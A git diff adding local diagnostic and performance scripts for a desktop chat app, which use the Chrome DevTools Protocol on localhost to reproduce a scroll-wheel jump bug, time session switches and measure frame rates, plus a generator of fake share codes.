+      x += (i < 20 ? 3 : -3)
+      window.dispatchEvent(new PointerEvent('pointermove', { ...opts, clientX: x, clientY: y }))
+      await new Promise(r => setTimeout(r, 16))
+    }
+    window.dispatchEvent(new PointerEvent('pointerup', { ...opts, buttons: 0, clientX: x, clientY: y }))
+    await new Promise(r => setTimeout(r, 300))
+    s.on = false
+    return JSON.stringify({
+      ms: Math.round(performance.now() - t0),
+      moves: 40,
+      constructed: s.constructed,
+      observed: s.observed,
+      callbacks: s.callbacks,
+      entries: s.entries,
+      distinctTargets: s.targets.size,
+      userBubbles: document.querySelectorAll('[data-slot="aui_user-message-root"]').length
+    })
+  })()
+`
+
+const CLEANUP = `
+  (() => {
+    if (window.__R__) {
+      for (const { sid, rid } of window.__R__.ids) {
+        const s = window.__CLAWCODEX_SESSION_TILES__.states()
+        window.__CLAWCODEX_SESSION_TILES__.publish(rid, { ...s[rid], busy: false, streamId: null })
+        window.__CLAWCODEX_SESSION_TILES__.close(sid)
+      }
+      window.__R__ = null
+    }
+    return 'cleaned'
+  })()
+`
+
+const { cdp, teardown } = await attach({ port })
+
+try {
+  await cdp.send('Runtime.enable')
+  await cdp.eval(INSTRUMENT)
+
+  const ok = await cdp.eval(setup)
+
+  if (ok !== 'ok') {
+    throw new Error(`setup failed: ${ok}`)
+  }
+
+  for (let n = 1; n <= TILES; n++) {
+    await cdp.eval(reveal(`ro-tile-${n}`))
+    await sleep(300)
+  }
+
+  await sleep(1500)
+
+  const r = JSON.parse(await cdp.eval(DRAG))
+  await cdp.eval(CLEANUP)
+
+  console.log(JSON.stringify(r, null, 2))
+
+  if (r.moves) {
+    console.log(`\nper pointermove: ${(r.entries / r.moves).toFixed(1)} RO entries`)
+    console.log(`distinct elements resized: ${r.distinctTargets} (user bubbles in DOM: ${r.userBubbles})`)
+  }
+} finally {
+  teardown?.()
+}
diff --git a/ui-desktop/scripts/diag-scroll-reset.mjs b/ui-desktop/scripts/diag-scroll-reset.mjs
new file mode 100644
index 000000000..11c7997cb
--- /dev/null
+++ b/ui-desktop/scripts/diag-scroll-reset.mjs
@@ -0,0 +1,229 @@
+// Reproduce + diagnose the "scroll wheel resets position while reading" bug.
+//
+// The complaint (Windows, mouse wheel): scrolling UP through a chat to re-read
+// older content randomly yanks the view to a different position, so you have to
+// fight the scrollbar. Mac users on trackpads don't see it.
+//
+// Hypothesis: the thread scroller has the browser default `overflow-anchor:
+// auto`, and the thread renders items in natural document flow (padding
+// spacers, NOT transforms). When an item above the viewport is measured by
+// @tanstack/react-virtual (its real height differs a lot from the 220px
+// estimate) — or when Shiki/images/fonts reflow it — TWO mechanisms both
+// adjust scrollTop for the same delta: TanStack's measurement compensation AND
+// the browser's native scroll anchoring. The double-correction lurches the
+// view. A mouse wheel's coarse, discrete notches mount/measure several
+// under-estimated turns per tick, so the over-correction is large and visible;
+// a trackpad's ~1-3px/frame keeps it sub-perceptual.
+//
+// This script drives synthetic mouse-wheel-UP scrolling on a long thread and
+// measures how much a tracked on-screen turn jumps, first with
+// `overflow-anchor: auto` (reproduce) then `overflow-anchor: none` (the fix).
+// If the fix run shows dramatically fewer/smaller jumps, the hypothesis holds.
+//
+// Prereq: a running desktop app with remote debugging on 9222, on a thread
+// with enough history to scroll (the longer / more code+tool blocks, the
+// better the repro). Then:  node apps/desktop/scripts/diag-scroll-reset.mjs
+
+const NOTCHES = 14 // wheel-up ticks per sweep
+const NOTCH_PX = 120 // Windows wheel notch ≈ 120px
+const NOTCH_GAP_MS = 130 // let each smooth-scroll animation settle
+const REVERSE_JUMP_PX = 6 // tracked turn moving UP while scrolling up = wrong way
+const LURCH_PX = 60 // single-frame on-screen jump that reads as a "reset"
+
+const list = await (await fetch('http://127.0.0.1:9222/json/list')).json()
+const tgt = list.find(t => t.type === 'page' && t.url.startsWith('http'))
+if (!tgt) {
+  console.error('No page target on :9222. Is the desktop app running with --remote-debugging-port=9222?')
+  process.exit(1)
+}
+const ws = new WebSocket(tgt.webSocketDebuggerUrl)
+let id = 0
+const pending = new Map()
+ws.addEventListener('message', ev => {
+  const m = JSON.parse(ev.data)
+  if (m.id != null && pending.has(m.id)) {
+    pending.get(m.id)(m)
+    pending.delete(m.id)
+  }
+})
+await new Promise(r => ws.addEventListener('open', r))
+const send = (m, p = {}) =>
+  new Promise(r => {
+    const i = ++id
+    pending.set(i, r)
+    ws.send(JSON.stringify({ id: i, method: m, params: p }))
+  })
+const evalP = async expr => {
+  const r = await send('Runtime.evaluate', { expression: expr, returnByValue: true })
+  if (r.result?.exceptionDetails) throw new Error(r.result.exceptionDetails.text)
+  return r.result.result.value
+}
+const sleep = ms => new Promise(r => setTimeout(r, ms))
+
+// Install per-sweep instrumentation. `mode` is the overflow-anchor value to
+// force inline so we A/B the exact same thread regardless of any CSS fix.
+// Starts from ~45% down the thread so there's room to scroll up into
+// not-yet-measured turns, tags the turn nearest viewport-center as the anchor,
+// then records (per rAF) scrollTop + that turn's on-screen top, plus every
+// scrollTop *setter* write (TanStack compensation) and ResizeObserver hit.
+async function arm(mode) {
+  await evalP(`(() => {
+    const v = document.querySelector('[data-slot="aui_thread-viewport"]')
+    if (!v) throw new Error('thread viewport not found')
+
+    // Force the overflow-anchor behavior under test (inline beats CSS).
+    v.style.overflowAnchor = ${JSON.stringify(mode)}
+
+    // Park ~45% down so a wheel-up sweep climbs into estimated-but-unmeasured
+    // turns above the fold (where the measurement correction fires).
+    v.scrollTop = Math.round(v.scrollHeight * 0.45)
+
+    // Tag the turn closest to viewport center; we track its on-screen top.
+    const vr = v.getBoundingClientRect()
+    const center = vr.top + v.clientHeight / 2
+    let best = null, bestD = Infinity
+    for (const el of v.querySelectorAll('[data-index]')) {
+      const r = el.getBoundingClientRect()
+      const d = Math.abs((r.top + r.height / 2) - center)
+      if (d < bestD) { bestD = d; best = el }
+    }
+    document.querySelectorAll('[data-se-anchor]').forEach(e => e.removeAttribute('data-se-anchor'))
+    if (best) best.setAttribute('data-se-anchor', '1')
+    const anchorIndex = best ? best.getAttribute('data-index') : null
+
+    const samples = []
+    const writes = []
+    const ros = []
+    const t0 = performance.now()
+
+    // Intercept scrollTop writes → these are JS (TanStack) corrections.
+    // Native browser scroll anchoring does NOT go through this setter, so a
+    // scrollTop change with no write in the same frame is a native adjust.
+    const desc = Object.getOwnPropertyDescriptor(Element.prototype, 'scrollTop')
+    Object.defineProperty(v, 'scrollTop', {
+      configurable: true,
+      get() { return desc.get.call(this) },
+      set(val) {
+        writes.push({ t: performance.now() - t0, val, sh: this.scrollHeight })
+        desc.set.call(this, val)
+      }
+    })
+    window.__restoreScrollTop = () => Object.defineProperty(v, 'scrollTop', desc)
+
+    const ro = new ResizeObserver(entries => {
+      for (const e of entries) {
+        ros.push({ t: performance.now() - t0, slot: e.target.getAttribute?.('data-slot') || e.target.tagName, h: Math.round(e.contentRect.height) })
+      }
+    })
+    ro.observe(v)
+    if (v.firstElementChild) ro.observe(v.firstElementChild)
+
+    let running = true
+    const tick = () => {
+      if (!running) return
+      const a = v.querySelector('[data-se-anchor]')
+      const ar = a ? a.getBoundingClientRect() : null
+      samples.push({
+        t: performance.now() - t0,
+        st: Math.round(v.scrollTop * 100) / 100,
+        sh: v.scrollHeight,
+        ch: v.clientHeight,
+        atop: ar ? Math.round(ar.top * 100) / 100 : null,
+        aconn: !!a
+      })
+      requestAnimationFrame(tick)
+    }
+    requestAnimationFrame(tick)
+
+    window.__se = { samples, writes, ros, anchorIndex, dpr: window.devicePixelRatio, stop() { running = false; ro.disconnect(); window.__restoreScrollTop?.() } }
+    return true
+  })()`)
+}
+
+async function wheelUpSweep() {
+  const { x, y } = await evalP(`(() => {
+    const v = document.querySelector('[data-slot="aui_thread-viewport"]')
+    const r = v.getBoundingClientRect()
+    return { x: Math.round(r.left + r.width / 2), y: Math.round(r.top + r.height / 2) }
+  })()`)
+
+  for (let i = 0; i < NOTCHES; i++) {
+    await send('Input.dispatchMouseEvent', { type: 'mouseWheel', x, y, deltaX: 0, deltaY: -NOTCH_PX })
+    await sleep(NOTCH_GAP_MS)
+  }
+  await sleep(400)
+}
+
+async function collect() {
+  const data = JSON.parse(await evalP(`(() => { window.__se.stop(); return JSON.stringify(window.__se) })()`))
+  return data
+}
+
+function analyze(label, data) {
+  const { samples, writes, ros, anchorIndex, dpr } = data
+  let reverseJumps = 0
+  let reverseSum = 0
+  let lurches = 0
+  let maxJump = 0
+  let nativeMoves = 0
+  let prev = null
+  for (const s of samples) {
+    if (prev && prev.aconn && s.aconn && prev.atop != null && s.atop != null) {
+      const dTop = s.atop - prev.atop // wheel-up should move content DOWN → dTop >= 0
+      const dSt = s.st - prev.st
+      // Native (browser-anchoring) move: scrollTop changed with no setter write in this frame window.
+      const wroteThisFrame = writes.some(w => w.t > prev.t && w.t <= s.t)
+      if (Math.abs(dSt) > 0.5 && !wroteThisFrame) nativeMoves++
+      if (dTop < -REVERSE_JUMP_PX) {
+        reverseJumps++
+        reverseSum += -dTop
+      }
+      if (Math.abs(dTop) > LURCH_PX) lurches++
+      if (Math.abs(dTop) > maxJump) maxJump = Math.abs(dTop)
+    }
+    prev = s
+  }
+  console.log(`\n── ${label} ──`)
+  console.log(`  devicePixelRatio:     ${dpr}${Number.isInteger(dpr) ? '' : '  (fractional — Windows scaling, worsens rounding jitter)'}`)
+  console.log(`  tracked turn index:   ${anchorIndex}`)
+  console.log(`  rAF frames:           ${samples.length}`)
+  console.log(`  scrollTop writes:     ${writes.length}   (TanStack measurement corrections)`)
+  console.log(`  ResizeObserver hits:  ${ros.length}`)
+  console.log(`  native scroll moves:  ${nativeMoves}   (scrollTop moved with NO JS write = browser anchoring)`)
+  console.log(`  reverse jumps:        ${reverseJumps}   (tracked turn yanked UP while scrolling up; total ${reverseSum.toFixed(0)}px)`)
+  console.log(`  big lurches (>${LURCH_PX}px):   ${lurches}`)
+  console.log(`  max single-frame jump: ${maxJump.toFixed(0)}px`)
+  return { reverseJumps, reverseSum, lurches, maxJump, nativeMoves }
+}
+
+console.log(`Wheel-up repro: ${NOTCHES} notches × ${NOTCH_PX}px, anchored mid-thread.\n`)
+
+await arm('auto')
+await sleep(150)
+await wheelUpSweep()
+const a = analyze('overflow-anchor: auto  (current / repro)', await collect())
+
+await sleep(300)
+
+await arm('none')
+await sleep(150)
+await wheelUpSweep()
+const b = analyze('overflow-anchor: none  (proposed fix)', await collect())
+
+// Clean up our tag.
+await evalP(`document.querySelectorAll('[data-se-anchor]').forEach(e => e.removeAttribute('data-se-anchor'))`)
+
+console.log('\n══ verdict ══')
+const drop = (x, y) => (x === 0 ? (y === 0 ? '0' : 'n/a') : `${Math.round((1 - y / x) * 100)}% fewer`)
+console.log(`  reverse jumps:  auto=${a.reverseJumps}  none=${b.reverseJumps}  (${drop(a.reverseJumps, b.reverseJumps)})`)
+console.log(`  big lurches:    auto=${a.lurches}  none=${b.lurches}  (${drop(a.lurches, b.lurches)})`)
+console.log(`  max jump:       auto=${a.maxJump.toFixed(0)}px  none=${b.maxJump.toFixed(0)}px`)
+console.log(`  native moves:   auto=${a.nativeMoves}  none=${b.nativeMoves}  (browser anchoring should ~vanish at none)`)
+if (a.reverseJumps + a.lurches > 0 && b.reverseJumps + b.lurches < a.reverseJumps + a.lurches) {
+  console.log('\n  → Jumps drop sharply with overflow-anchor:none → root cause confirmed.')
+} else if (a.reverseJumps + a.lurches === 0) {
+  console.log('\n  → No jumps captured this run. Use a longer thread (many code/tool blocks),')
+  console.log('    raise NOTCHES, and ensure you start scrolled up from the bottom.')
+}
+
+ws.close()
diff --git a/ui-desktop/scripts/diag-sidebar-dom.mjs b/ui-desktop/scripts/diag-sidebar-dom.mjs
new file mode 100644
index 000000000..64159ca6d
--- /dev/null
+++ b/ui-desktop/scripts/diag-sidebar-dom.mjs
@@ -0,0 +1,27 @@
+// Dump the sidebar's actual DOM shape so selectors stop being guesses.
+import { attach } from './perf/lib/launch.mjs'
+
+const { cdp, teardown } = await attach({ port: 9222 })
+
+try {
+  await cdp.send('Runtime.enable')
+
+  const out = await cdp.eval(`(() => {
+    const sidebar = document.querySelector('[data-slot="sidebar"]') ?? document.querySelector('aside')
+    if (!sidebar) return '(no sidebar el)'
+    // Find clickable rows: anchors or buttons with text, depth-limited sample.
+    const clickables = [...sidebar.querySelectorAll('a, button, [role="button"], [data-slot]')].slice(0, 60)
+    const rows = clickables.map(el => ({
+      tag: el.tagName.toLowerCase(),
+      slot: el.getAttribute('data-slot') ?? '',
+      cls: (el.className?.baseVal ?? el.className ?? '').toString().slice(0, 40),
+      text: (el.textContent ?? '').trim().slice(0, 30),
+      visible: !!el.offsetParent
+    })).filter(r => r.text)
+    return JSON.stringify(rows.slice(0, 30), null, 1)
+  })()`)
+
+  console.log(out)
+} finally {
+  teardown?.()
+}
diff --git a/ui-desktop/scripts/diag-switch-autopsy.mjs b/ui-desktop/scripts/diag-switch-autopsy.mjs
new file mode 100644
index 000000000..f90e0d529
--- /dev/null
+++ b/ui-desktop/scripts/diag-switch-autopsy.mjs
@@ -0,0 +1,52 @@
+// Session-switch autopsy: click between the two heaviest rows repeatedly,
+// recording per-switch (a) settled ms, (b) React commits, (c) top rendered
+// components — so slow switches name themselves.
+import { attach } from './perf/lib/launch.mjs'
+import { sleep } from './perf/lib/cdp.mjs'
+
+const arg = (name, fallback) => {
+  const i = process.argv.indexOf(`--${name}`)
+
+  return i === -1 ? fallback : process.argv[i + 1]
+}
+
+const port = Number(arg('port', 9222))
+const ROUNDS = Number(arg('rounds', 8))
+
+const { cdp, teardown } = await attach({ port })
+
+const SWITCH_ONE = index => `
+  (async () => {
+    const rows = [...document.querySelectorAll('[data-slot="row-button"]')].filter(el => el.offsetParent)
+    if (rows.length < 2) return JSON.stringify({ error: 'rows' })
+    const row = rows[${index} % 2]
+    const rc = window.__RENDER_COUNTS__
+    rc.start()
+    const t0 = performance.now()
+    row.click()
+    let lastMutation = performance.now()
+    const mo = new MutationObserver(() => { lastMutation = performance.now() })
+    mo.observe(document.body, { childList: true, subtree: true, characterData: true })
+    const deadline = performance.now() + 4000
+    while (performance.now() < deadline) {
+      await new Promise(r => requestAnimationFrame(r))
+      if (performance.now() - lastMutation > 150) break
+    }
+    mo.disconnect()
+    rc.stop()
+    const settled = Math.round(performance.now() - t0 - 150)
+    const report = rc.report(6).map(r => r.name + ':' + r.renders + '(' + Math.round(r.totalMs) + 'ms)')
+    return JSON.stringify({ label: (row.textContent ?? '').slice(0, 24), settled, commits: rc.commits(), top: report })
+  })()
+`
+
+try {
+  await cdp.send('Runtime.enable')
+
+  for (let i = 0; i < ROUNDS; i++) {
+    console.log(await cdp.eval(SWITCH_ONE(i)))
+    await sleep(400)
+  }
+} finally {
+  teardown?.()
+}
diff --git a/ui-desktop/scripts/diag-switch-trace.mjs b/ui-desktop/scripts/diag-switch-trace.mjs
new file mode 100644
index 000000000..8efe5462e
--- /dev/null
+++ b/ui-desktop/scripts/diag-switch-trace.mjs
@@ -0,0 +1,74 @@
+// What happens during a SLOW session switch? Click a heavy row with tracing
+// on, dump the style/layout/script split plus top callsites.
+import { attach } from './perf/lib/launch.mjs'
+import { sleep } from './perf/lib/cdp.mjs'
+
+const { cdp, teardown } = await attach({ port: 9222 })
+
+const CLICK_HEAVIEST = `
+  (() => {
+    const rows = [...document.querySelectorAll('[data-slot="row-button"]')].filter(el => el.offsetParent)
+    if (rows.length < 2) return 'need rows'
+    // Alternate between the first two rows so every run actually switches.
+    const current = location.hash
+    const target = rows.find(r => !r.getAttribute('data-active')) ?? rows[1]
+    target.click()
+    return 'clicked: ' + (target.textContent ?? '').slice(0, 40)
+  })()
+`
+
+const events = []
+let complete = false
+cdp.on('Tracing.dataCollected', p => events.push(...(p.value ?? [])))
+cdp.on('Tracing.tracingComplete', () => {
+  complete = true
+})
+
+try {
+  await cdp.send('Runtime.enable')
+
+  await cdp.send('Tracing.start', {
+    transferMode: 'ReportEvents',
+    traceConfig: { includedCategories: ['devtools.timeline'] }
+  })
+
+  console.log(await cdp.eval(CLICK_HEAVIEST))
+  await sleep(2500)
+  console.log(await cdp.eval(CLICK_HEAVIEST))
+  await sleep(2500)
+
+  await cdp.send('Tracing.end')
+
+  for (let w = 0; !complete && w < 10000; w += 200) {
+    await sleep(200)
+  }
+
+  const totals = new Map()
+  const byFn = new Map()
+
+  for (const e of events) {
+    if (e.ph !== 'X' || typeof e.dur !== 'number') {
+      continue
+    }
+
+    totals.set(e.name, (totals.get(e.name) ?? 0) + e.dur / 1000)
+
+    if (e.name === 'FunctionCall') {
+      const d = e.args?.data ?? {}
+      const key = `${d.functionName || '(anon)'} @ ${(d.url || '?').split('/').pop()}:${d.lineNumber ?? '?'}`
+      byFn.set(key, (byFn.get(key) ?? 0) + e.dur / 1000)
+    }
+  }
+
+  const style = totals.get('UpdateLayoutTree') ?? 0
+  const layout = totals.get('Layout') ?? 0
+  const script = (totals.get('FunctionCall') ?? 0) + (totals.get('EvaluateScript') ?? 0) + (totals.get('TimerFire') ?? 0)
+  console.log(`\nVERDICT over 2 switches: style=${style.toFixed(0)}ms layout=${layout.toFixed(0)}ms script=${script.toFixed(0)}ms paint=${(totals.get('Paint') ?? 0).toFixed(0)}ms`)
+  console.log('\nTOP CALLSITES:')
+
+  for (const [name, ms] of [...byFn.entries()].sort((a, b) => b[1] - a[1]).slice(0, 12)) {
+    console.log(`  ${ms.toFixed(1).padStart(8)}  ${name}`)
+  }
+} finally {
+  teardown?.()
+}
diff --git a/ui-desktop/scripts/eval.mjs b/ui-desktop/scripts/eval.mjs
new file mode 100644
index 000000000..ca137e542
--- /dev/null
+++ b/ui-desktop/scripts/eval.mjs
@@ -0,0 +1,46 @@
+// Simple eval helper — runs an expression and returns the result.value.
+//
+//   node scripts/eval.mjs "document.title"
+//   CLAWCODEX_DESKTOP_CDP_PORT=9333 node scripts/eval.mjs "document.title"
+//
+// Needs a renderer with a debugging port: launch `hgui` / `npm run dev` with
+// CLAWCODEX_DESKTOP_CDP_PORT set (see electron/dev-cdp.ts).
+const port = Number(process.env.CLAWCODEX_DESKTOP_CDP_PORT || 9222)
+let targets
+
+try {
+  targets = await (await fetch(`http://127.0.0.1:${port}/json`)).json()
+} catch {
+  console.error(
+    `no renderer debugging port on 127.0.0.1:${port}. ` +
+      'Dev-server runs (`npm run dev` / `hgui`) open one automatically — check the app is running, ' +
+      'and that CLAWCODEX_DESKTOP_CDP_PORT is not set to "off" or another port.'
+  )
+  process.exit(1)
+}
+
+const t = targets.find((t) => t.url.includes('5174')) ?? targets.find((t) => t.type === 'page')
+
+if (!t) {
+  console.error(`no page target on 127.0.0.1:${port} (found ${targets.length} target(s))`)
+  process.exit(1)
+}
+
+const ws = new WebSocket(t.webSocketDebuggerUrl)
+let id = 0
+const pending = new Map()
+ws.addEventListener('message', (ev) => {
+  const m = JSON.parse(ev.data)
+  if (pending.has(m.id)) { pending.get(m.id)(m); pending.delete(m.id) }
+})
+await new Promise((r) => ws.addEventListener('open', r))
+const send = (method, params) => new Promise((res) => { const i = ++id; pending.set(i, res); ws.send(JSON.stringify({ id: i, method, params })) })
+
+const expr = process.argv[2] || '1+1'
+const r = await send('Runtime.evaluate', { expression: expr, returnByValue: true, awaitPromise: true })
+if (r.result.exceptionDetails) {
+  console.error('EXCEPTION:', r.result.exceptionDetails.exception?.description)
+} else {
+  console.log(JSON.stringify(r.result.result.value, null, 2))
+}
+ws.close()
diff --git a/ui-desktop/scripts/gen-share-codes.ts b/ui-desktop/scripts/gen-share-codes.ts
new file mode 100644
index 000000000..f12ddfafd
--- /dev/null
+++ b/ui-desktop/scripts/gen-share-codes.ts
@@ -0,0 +1,171 @@
+// Throwaway generator: deterministic fake star-map graphs → real share codes
+// (runs the actual encoder, so every string round-trips). Run with `npx tsx`.
+import { writeFileSync } from 'node:fs'
+
+import type { StarmapEdge, StarmapGraph, StarmapMemoryCard, StarmapNode } from '../src/types/clawcodex'
+
+import { decodeShareCode, encodeShareCode } from '../src/app/starmap/share-code'
+
+const DAY = 86_400
+const END = Math.floor(Date.UTC(2026, 5, 29) / 1000)
+
+// mulberry32 — tiny seeded PRNG so the output is byte-stable across runs.
+const rng = (seed: number) => () => {
+  seed |= 0
+  seed = (seed + 0x6d2b79f5) | 0
+  let t = Math.imul(seed ^ (seed >>> 15), 1 | seed)
+  t = (t + Math.imul(t ^ (t >>> 7), 61 | t)) ^ t
+
+  return ((t ^ (t >>> 14)) >>> 0) / 4_294_967_296
+}
+
+const pick = <T>(arr: readonly T[], r: number): T => arr[Math.floor(r * arr.length)]!
+
+const CATEGORIES = ['devops', 'research', 'creative', 'security', 'mlops', 'blockchain', 'email', 'health', 'web-development', 'comms'] as const
+const STATES = ['active', 'active', 'active', 'archived', 'draft', 'disabled'] as const
+const CREATED = [null, 'agent', 'agent', 'user'] as const
+
+const skill = (id: string, label: string, ts: number, r: () => number): StarmapNode => ({
+  category: pick(CATEGORIES, r()),
+  createdBy: pick(CREATED, r()),
+  id,
+  kind: 'skill',
+  label,
+  pinned: r() > 0.85,
+  state: pick(STATES, r()),
+  timestamp: ts,
+  useCount: Math.floor(r() ** 3 * 120)
+})
+
+const memNode = (i: number, source: 'memory' | 'profile', label: string, ts: null | number): StarmapNode => ({
+  category: 'memory',
+  createdBy: 'memory',
+  id: `memory:${source}:${i}`,
+  kind: 'memory',
+  label,
+  memorySource: source,
+  pinned: false,
+  state: 'active',
+  timestamp: ts,
+  useCount: 0
+})
+
+const card = (source: 'memory' | 'profile', title: string, body: string, ts: null | number): StarmapMemoryCard => ({ body, source, timestamp: ts, title })
+
+// ── 1. Tiny + quirky ──────────────────────────────────────────────────────────
+function tiny(): StarmapGraph {
+  const r = rng(7)
+  const nodes: StarmapNode[] = [
+    skill('summon-coffee', 'Summon Coffee', END - 40 * DAY, r),
+    skill('rubber-duck', 'Rubber-Duck Debugging', END - 22 * DAY, r),
+    skill('git-blame-zen', 'Git Blame Without Rage', END - 9 * DAY, r),
+    memNode(0, 'profile', 'Prefers tabs, dies on this hill', END - 30 * DAY),
+    memNode(1, 'memory', 'The prod incident of last Tuesday', END - 3 * DAY)
+  ]
+  const edges: StarmapEdge[] = [
+    { source: 'memory:memory:1', target: 'git-blame-zen' },
+    { source: 'rubber-duck', target: 'git-blame-zen' }
+  ]
+  const memory = [
+    card('profile', 'Prefers tabs, dies on this hill', 'Tabs over spaces. Non-negotiable.', END - 30 * DAY),
+    card('memory', 'The prod incident of last Tuesday', 'Never deploy on a Friday again.', END - 3 * DAY)
+  ]
+
+  return { clusters: [], edges, memory, nodes, stats: {} }
+}
+
+// ── 2. Mid-size, mixed signal ────────────────────────────────────────────────
+function mid(): StarmapGraph {
+  const r = rng(42)
+  const names = ['Kubernetes Whispering', 'Prompt Surgery', 'Threat Modeling', 'Pixel Pushing', 'Vector Janitor', 'Smart-Contract Audit', 'Inbox Zero Ops', 'Sleep Debt Tracker', 'SSR Hydration', 'Standup Telepathy', 'Flaky-Test Exorcism', 'Cost Spelunking']
+  const nodes: StarmapNode[] = names.map((label, i) => skill(`s${i}`, label, END - Math.floor(r() * 200) * DAY, r))
+  const memTitles = ['Hates meetings before noon', 'Lives in us-east-1', 'Allergic to YAML', 'Caffeine half-life ~5h', 'Reviews in dark mode']
+
+  memTitles.forEach((title, i) => {
+    const ts = END - Math.floor(r() * 120) * DAY
+    nodes.push(memNode(i, i % 2 ? 'memory' : 'profile', title, ts))
+  })
+
+  const edges: StarmapEdge[] = []
+
+  for (let i = 0; i < 9; i += 1) {
+    edges.push({ source: `s${Math.floor(r() * names.length)}`, target: `s${Math.floor(r() * names.length)}` })
+  }
+
+  const memory = memTitles.map((title, i) => card(i % 2 ? 'memory' : 'profile', title, `${title}. Logged automatically.`, END - Math.floor(rng(99 + i)() * 120) * DAY))
+
+  return { clusters: [], edges, memory, nodes, stats: {} }
+}
+
+// ── 3. Dense web, partly undated (ordinal fallback) ──────────────────────────
+function web(): StarmapGraph {
+  const r = rng(1337)
+  const nodes: StarmapNode[] = Array.from({ length: 22 }, (_, i) =>
+    // Half the skills carry no timestamp → exercises the ordinal recency path.
+    skill(`w${i}`, `Neuron ${String.fromCharCode(65 + (i % 26))}${i}`, i % 2 ? END - Math.floor(r() * 300) * DAY : (null as unknown as number), r)
+  )
+  const edges: StarmapEdge[] = []
+
+  for (let i = 0; i < 44; i += 1) {
+    edges.push({ source: `w${Math.floor(r() * 22)}`, target: `w${Math.floor(r() * 22)}` })
+  }
+
+  return { clusters: [], edges, memory: [], nodes, stats: {} }
+}
+
+// ── 4. The beast: ~2 years, hundreds of nodes, bursty timeline ───────────────
+function beast(): StarmapGraph {
+  const r = rng(2024)
+  const start = END - 730 * DAY
+  const span = END - start
+  const nodes: StarmapNode[] = []
+  const memory: StarmapMemoryCard[] = []
+
+  // Bursts → an interesting waveform instead of a flat smear.
+  const burstAt = (q: number) => Math.floor(start + (q + (r() - 0.5) * 0.06) * span)
+
+  for (let i = 0; i < 240; i += 1) {
+    const burst = Math.floor(r() ** 1.5 * 12) / 12 // cluster toward the recent end
+    nodes.push(skill(`b${i}`, `Skill ${i} · ${pick(CATEGORIES, r())}`, burstAt(burst), r))
+  }
+
+  for (let i = 0; i < 150; i += 1) {
+    const ts = burstAt(Math.floor(r() ** 1.5 * 12) / 12)
+    const source = r() > 0.5 ? 'memory' : 'profile'
+    nodes.push(memNode(i, source, `Memory ${i}: ${pick(['quirk', 'fact', 'preference', 'incident', 'lesson'], r())}`, ts))
+    memory.push(card(source, `Memory ${i}`, `Auto-captured note #${i}.`, ts))
+  }
+
+  const edges: StarmapEdge[] = []
+
+  for (let i = 0; i < 380; i += 1) {
+    const a = Math.floor(r() * 240)
+    const b = Math.floor(r() * 240)
+
+    if (a !== b) {
+      edges.push({ source: `b${a}`, target: `b${b}` })
+    }
+  }
+
+  return { clusters: [], edges, memory, nodes, stats: {} }
+}
+
+const graphs: [string, StarmapGraph][] = [
+  ['tiny + quirky', tiny()],
+  ['mid · mixed signal', mid()],
+  ['dense web · half undated', web()],
+  ['the beast · ~2 years', beast()]
+]
+
+const lines: string[] = []
+
+for (const [name, g] of graphs) {
+  const code = encodeShareCode(g)
+  const back = decodeShareCode(code) // round-trip assert — throws if invalid
+  // v2 is viz-only: nodes + edge topology survive; memory prose is dropped.
+  const ok = back.nodes.length === g.nodes.length && back.edges.length <= g.edges.length
+  console.log(`${ok ? 'ok ' : 'BAD'}  ${name} — ${g.nodes.length} nodes / ${g.edges.length} edges / ${g.memory.length} cards (${code.length} chars)`)
+  lines.push(`# ${name} — ${g.nodes.length} nodes, ${g.edges.length} edges, ${g.memory.length} cards`, code, '')
+}
+
+writeFileSync(new URL('share-codes.txt', import.meta.url), lines.join('\n'))
diff --git a/ui-desktop/scripts/live-drive.mjs b/ui-desktop/scripts/live-drive.mjs
new file mode 100644
index 000000000..a20d09f30
--- /dev/null
+++ b/ui-desktop/scripts/live-drive.mjs
@@ -0,0 +1,290 @@
+// Live-drive harness for the REAL hgui instance on :9222.
+//
+//   node scripts/live-drive.mjs status          — targets, session count, perf-live armed?
+//   node scripts/live-drive.mjs fps [seconds]   — raw rAF fps over N seconds (default 4)
+//   node scripts/live-drive.mjs drag            — drag the sidebar sash, report fps + LoAF
+//   node scripts/live-drive.mjs type            — type into composer, report fps + LoAF
+//   node scripts/live-drive.mjs switch          — cycle through sidebar sessions, per-switch ms
+//   node scripts/live-drive.mjs send "msg"      — submit a prompt in the focused session
+//   node scripts/live-drive.mjs eval "expr"     — arbitrary page eval
+//
+// Attaches to the page target directly (no perf-harness deps) so it works on
+// the app Brooklyn actually runs, with her profile, her sessions, her layout.
+
+import { WebSocket } from 'ws'
+
+const PORT = Number(process.env.CDP_PORT ?? 9222)
+
+async function attach() {
+  const list = await (await fetch(`http://127.0.0.1:${PORT}/json/list`)).json()
+  const page = list.find(t => t.type === 'page' && !/devtools/.test(t.url))
+
+  if (!page) {
+    throw new Error('no page target on :' + PORT)
+  }
+
+  const ws = new WebSocket(page.webSocketDebuggerUrl, { maxPayload: 256 * 1024 * 1024 })
+  await new Promise((resolve, reject) => {
+    ws.once('open', resolve)
+    ws.once('error', reject)
+  })
+
+  let id = 0
+  const pending = new Map()
+  ws.on('message', raw => {
+    const msg = JSON.parse(raw)
+
+    if (msg.id && pending.has(msg.id)) {
+      const { resolve, reject } = pending.get(msg.id)
+      pending.delete(msg.id)
+      msg.error ? reject(new Error(msg.error.message)) : resolve(msg.result)
+    }
+  })
+
+  const send = (method, params = {}) =>
+    new Promise((resolve, reject) => {
+      const mid = ++id
+      pending.set(mid, { resolve, reject })
+      ws.send(JSON.stringify({ id: mid, method, params }))
+    })
+
+  await send('Runtime.enable')
+
+  const evaluate = async expression => {
+    const r = await send('Runtime.evaluate', { expression, returnByValue: true, awaitPromise: true })
+
+    if (r.exceptionDetails) {
+      throw new Error(r.exceptionDetails.exception?.description ?? 'eval failed')
+    }
+
+    return r.result?.value
+  }
+
+  return { evaluate, close: () => ws.close(), send }
+}
+
+const FPS = seconds => `
+  (async () => {
+    const frames = []
+    let last = performance.now()
+    const end = last + ${seconds * 1000}
+    while (performance.now() < end) {
+      await new Promise(r => requestAnimationFrame(r))
+      const now = performance.now()
+      frames.push(now - last)
+      last = now
+    }
+    const total = frames.reduce((a, b) => a + b, 0)
+    const sorted = [...frames].sort((a, b) => a - b)
+    const pct = p => sorted[Math.min(sorted.length - 1, Math.floor(sorted.length * p))]
+    return {
+      fps: Math.round((frames.length / total) * 1000 * 10) / 10,
+      p95: Math.round(pct(0.95) * 10) / 10,
+      worst: Math.round(sorted[sorted.length - 1] * 10) / 10,
+      slow33: frames.filter(f => f > 33).length,
+      n: frames.length
+    }
+  })()
+`
+
